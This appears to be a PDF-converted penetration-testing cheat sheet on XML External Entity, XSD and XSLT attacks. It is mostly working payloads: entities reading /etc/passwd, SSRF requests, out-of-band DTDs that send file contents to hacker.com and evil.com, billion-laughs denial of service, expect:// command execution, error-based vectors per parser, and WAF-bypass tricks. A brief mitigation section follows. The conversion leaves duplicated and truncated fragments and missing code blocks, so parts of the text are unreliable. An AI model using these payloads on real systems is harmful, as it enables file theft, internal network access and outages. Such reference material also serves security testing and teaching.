XXE

Content

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

  - WAF bypass

- XML parsers properties
- Testbeds
- References

Recommended articles:

- Security Implications of DTD Attacks Against a Wide Range of XML Parsers. Christopher Späth. 2015 source (contains a lot of information about various XML parsers)
- XSLT Processing Security and SSRF. Emanuel Duss, Roland Bischofberger, OWASP 2015 (contains a lot of information about XSLT vulnerabilities)
- OWASP XXE Processing
- XXE cheat sheet (web-in-security)
- XXE Payloads

Note: XSLT is a large separate topic, which must be investigated seprately and finalize in separate article.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. (*owasp*)

DTD - Document Type Definition

part of XML document related to <!DOCTYPE>.
Its main purpose is to specify XML document structure (**this is not security-related** therefore **will be not discussed**) and to **specify XML entities**.

XML standalone in `<?xml version="1.0" standalone="yes"?>` is a signal to the XML processor that the DTD is only for validation (usage of external entites will be forbidden).
Default value is `no`, that is perfectly well for attacker, although some parsers ignore this option.

XML entities types:

- **General entities** - can be used in XML content like `&name;`
  `<!ENTITY name "Hello World">`
- **Parameter entities** - can be used inside doctype definition like `%name;` (parameter entities can insert new entities) and inside entities values like `%name;`.
  `<!ENTITY % name "Hello World">`
  `<!ENTITY % name "Hello %myEntity;">`
- **External entities** - entities with query to external (not declared in current XML document) resource (can be used both: general entities and parameter entities)
  `<!ENTITY name SYSTEM "URI/URL">`
  `<!ENTITY name PUBLIC "any_text" "URI/URL">`

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

XSD - XML Schema Definition Language

XML Schema is used to define XML structure. (It is usually a separate doc.xsd)
XSD does not depend on DTD technology, however can use it.

XSLT - eXtensible Stylesheet Language Transformations

XSLT is used to convert one XML document to other.
XSLT does not depend on DTD technology, however can use it.

Security issues

XXE practical usage

XXE targets:

- web-servers (even in deep backend)
- xml-based documents: docx, pptx, odt, etc. (exist tools e.g. oxml_xxe) (microsoft office xxe)
  For Open XML formats better to target `[Content_Types].xml` *file for XXE injections.*

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Exploitation ways

- output data in XML, returned to user
- OOB - Out-Of-Band (send sensitive data with external entity request)
- Error-based exploitation
  - invalid values/type definitions
  - schema validation
- Blind exploitation
- DoS
- RCE

XXE specifics

XXE **can not** be used to **write files** on server, exist **only one-two exclusions** for XSLT.

Behaviour greatly varies depending on used XML parser.

XXE nature allows to target several protocols and several files at a time (because we can include several Entities simultaneously (e.g. `SYSTEM "schema://ip:port"`)).

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- **confident data disclosure** (file disclosure / LFI (Local File Inclusion))
  External entities enables to read arbitrary files from system (if xml parser has read rights to the file)
  However, if you request directory - **usually** (everything depends on parser) this will lead to an error, but some XML parsers (e.g. JAVA Xerces) will disclosure directory fine-names
  `<!ENTITY xxe SYSTEM "file:///etc/passwd">`
- **SSRF (Server Side Request Forgery)**
  External entities enables to make SSRF attacks, by making request to internal network from web-server parsing XML document (meaning - making requests from internal network, bypassing perimeter protection)
  `<!ENTITY xxe SYSTEM "http://secret.dev.company.com/secret_pass.txt">`
- **Out-Of-Band** - using XML entities, data from server can be grabbed and sent to hacker.com (**NO** server output required)
  Approach 1:
  - document.xml
    ```
    <!DOCTYPE root [
        <!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">
        %remote; %intern; %xxe;
    ]>
    ```
    `<root>&xxe;</root>` - you can change `xxe` entity to general entity
  - http://hacker.com/evil.dtd
    ```
    <!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
    <!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
    ```
    `<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'file://%payl;'>">` - consider error-based

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
    %remote; %intern; %xxe;
]>
```

`<root>&xxe;</root>` - you can change `xxe` entity to general entity

- http://hacker.com/evil.dtd

```
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
```

`<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'file://%payl;'>">` - consider error-based

Approach 3 (*does it really work?*):

- CDATA inside xml

```
<root>
    <![CDATA[
        <!ENTITY % stuff SYSTEM "file:///var/www/html/app/WEB-INF/ApplicationContext.xml">
    ]]>
</root>
```

```
<![CDATA[
    <!DOCTYPE doc [
        <!ENTITY % dtd SYSTEM "http://evil.com/">
        %dtd;
    ]>
    <xxx/> <-- ???
]]>
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- **DoS - billion laughs**

  Using XML entities, server memory resource can be exhausted by constructing long entity value.

```
<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY hifi "hifi">
    <!ENTITY hifi1 "&hifi;&hifi;&hifi;">
    <!ENTITY hifi2 "&hifi1;&hifi1;&hifi1;">
    <!ENTITY hifi3 "&hifi2;&hifi2;&hifi2;">
]>
<root>&hifi3;</root>
```

  Linux local devices can be used:

```
<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY xxe1 SYSTEM "/dev/urandom">
    <!ENTITY xxe2 SYSTEM "/dev/zero">
]>
<root>&xxe1;&xxe2;</root>
```

  Does recursion available?

```
<!DOCTYPE data [
<!ENTITY a "a&b;" >
<!ENTITY b "&a;" >
]>
<data>&a;</data>
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- **error-based injections**
  Exist two types of errors:
  - errors in DTD structure
  - errors in xml schema validation

(sources: *XML Out-Of-Band Exploitation. Alexey Osipov, Timur Yunusov. 2013*, *XML Out-Of-Band Data Retrieval. Alexey Osipov, Timur Yunusov. 2013*)

Context: `<!ENTITY % pay SYSTEM "file:///etc/passwd">`

parser	Restrictions	XXE vector
MS System.XML	untill first %20, %0d, %0a	`<!ENTITY % trick "<!ENTITY err SYSTEM 'file:///some'%pay; gif>"> %tric`
Xerces	untill first %20, %0d, %0a	`<!ENTITY % trick "<!ENTITY :%pay;>"> %trick;`
Xerces		`<!ENTITY % trick "<!ENTITY &#37; err SYSTEM '%pay;'>"> %trick; %err;`
libxml (php)	~650 bytes (base64)	`<!ENTITY % trick "<!ENTITY :%pay;>"> %trick;`
libxml (php)	~900 bytes	`<!ENTITY % trick "<!ENTITY &#37; err SYSTEM '%pay;'>"> %trick; %err;`
??? (php)		`<!ENTITY % trick "<!ENTITY &#37; err SYSTEM 'http%pay;:/127.0.0.1/'>"`

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- I/O warning : failed to load external entity"[file]"
- parser error : DOCTYPE improperly terminated
- Warning: *** [file] in *** on line 11

Possible XML schema validation constraints:

XSD attack vectors

- **Out-Of-Band** - XSD permits to make remote requests (or local files requests)
  Several ways to make request *(usually xsd is positioned in XML schema documents (doc.xsd), but some directives are placed in XML file directly)*:
  - **schemaLocation**
    document.xml
  - **noNamespaceSchemaLocation**
    document.xml
  - **XInclude** (in xsd "http://www.w3.org/2001/XInclude" is not compatible with "http://www.w3.org/2001/XMLSchema")
    document.xml
  - **import** / **include**
    document.xsd

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

In return there can be pattern validation error, if entity is not a simple string

---

XSLT attack vectors

(sources: *XSLT Processing Security and SSRF. Emanuel Duss, Roland Bischofberger, OWASP 2015* (huge research of XSLT processors))

- getting **system information**

```
<xsl:template match="/">
    XSLT Version: <xsl:value-of select="system-property('xsl:version')" />
    XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
    XSLT Vendor URL: <xsl:value-of select="system-property('xsl:version-url')" />
</xsl:template>
```

- Out-Of-Band XSLT permits to make remote requests (or local files requests)
  - **xml-stylesheet**

    document.xml (web-browser can be good testbed for this case ([example](http://www.w3schools.com/xsl/cdcatalog_with_xsl.xml)))
  - **import** / **include**

    document.xsl (similar to XSD import and include)
  - XSLT **Out-Of-Band** through **variables** and **value-of** definition
    - only for valid xml files, or expect to get only first line

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
<xsl:variable name="name2" select="concat('http://evil.com/?', $name1)" />
<xsl:variable name="name3" select="document($name2)" />
```

- **RCE**
  - *libxslt + php + registerPHPFunctions() must be called on instance of processor*
  - *Xalan-J*
    Xalan
  - *Saxon EE*
- **database connection**
  - *Xalan-J*
- **write file** on file-system
  No output on success, error otherwise
  - *XSLT 2.0 Saxon*
  - *Xalan-J redirect:write extension*

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Attacks extensions

- **filters** and **wrappers** - XML parsers can provide filters to use for external entities.

  PHP filters:

  - file:// http:// https:// ftp:// data://
    `<!ENTITY xxe SYSTEM "file:///etc/passwd">`
    `<!ENTITY % xxe SYSTEM "http://evil.com/evil.dtd">`
    `<!ENTITY xxe SYSTEM "data://text/plain;base64,aGVsbG8gd29ybGQ=">` *('hello world')*
  - php:// (accessing various I/O streams)
    `<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">`
  - zlib:// rar:// phar://
    ssh2://
    glob:// ogg://
  - expect:// (gives RCE)
    `<!ENTITY xxe SYSTEM "expect://id">`

  other parsers can support

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- **brute-force attribute values**
  using schema validation values for xml tags and attributes can be specified, and in case there is mismatch error will appear.
  if attacker can insert values in schema validation specification, then he can brute inserting values until error will disappear
  brute can be smart - patterns for values allows to use regular expression, though binary search is available
- ***blind attacks***
  exist equivalent for lazy evaluation (e.g. xs:choice + xs:group in xsd), though for various choices regexps can take different time for calculation

---

Necessary requirements

XML security mitigation

This paragraph has to improved

For attacker to make external entites, they must be allowed. Usually there is several options:

- allow/deny loading XML entities (e.g. flag LIBXML_NOENT for php libxml)
- allow/deny loading external entities (e.g. flag LIBXML_DTDLOAD for php libxml)
- allow/deny showing error reports (e.g. flag LIBXML_NOERROR for php libxml)
- etc. (e.g. for php)

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
XercesParserLiaison::DOMParserType theParser;

theParser.setValidationScheme(xercesc::XercesDOMParser::Val_Never);
theParser.setDoNamespaces(false);
theParser.setDoSchema(false);
theParser.setLoadExternalDTD(false);
```

XSLT security mitigation

	libxslt	Saxon HE / Saxor
read files	XSL_SECPREF_READ_FILE	own class implementing URIResolver interface C Whitelist allowed files
read remote files, include external stylesheets	XSL_SECPREF_READ_NETWORK	own class implementing URIResolver and Unpars Whitelist allowed files
write files	XSL_SECPREF_WRITE_FILE	setFeature("http://saxon.sf.net/feature/allowext
RCE, getProperty		setFeature("http://saxon.sf.net/feature/allowext
XXE		setFeature("http://xml.org/sax/features/externa setFeature("http://xml.org/sax/features/externa

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

WAF bypass

- `SYSTEM` and `PUBLIC` are practically synonyms
- change encoding for example on UTF-16, UTF-7, etc.
  `<?xml version="1.0" encoding="UTF-16"?>`
- tampering with names (*XXE payloads*):
  `<!DOCTYPE :. SYTEM "http://"` `<!DOCTYPE :_-_: SYTEM "http://"` `<!DOCTYPE {0xdfbf} SYSTEM "http://"`

XML parsers properties

Testbeds

PHP testbed for loading XML file

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Java (SAX parser) testbed for loading XML file

.NET (MSXML parser) testbed for loading XML file

References

- *XML External Entity Attacks (XXE). Sascha Herzog. OWASP. 2010*
- *XXE cheat sheet (web-in-security)*
- *XML Schema, DTD, and Entity Attacks. Timothy D. Morgan, Omar Al Ibrahim. 2014*
- *XSLT Processing Security and SSRF. Emanuel Duss, Roland Bischofberger, OWASP 2015*
- etc. (a lot of minor web-sites, articles and presentations)

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD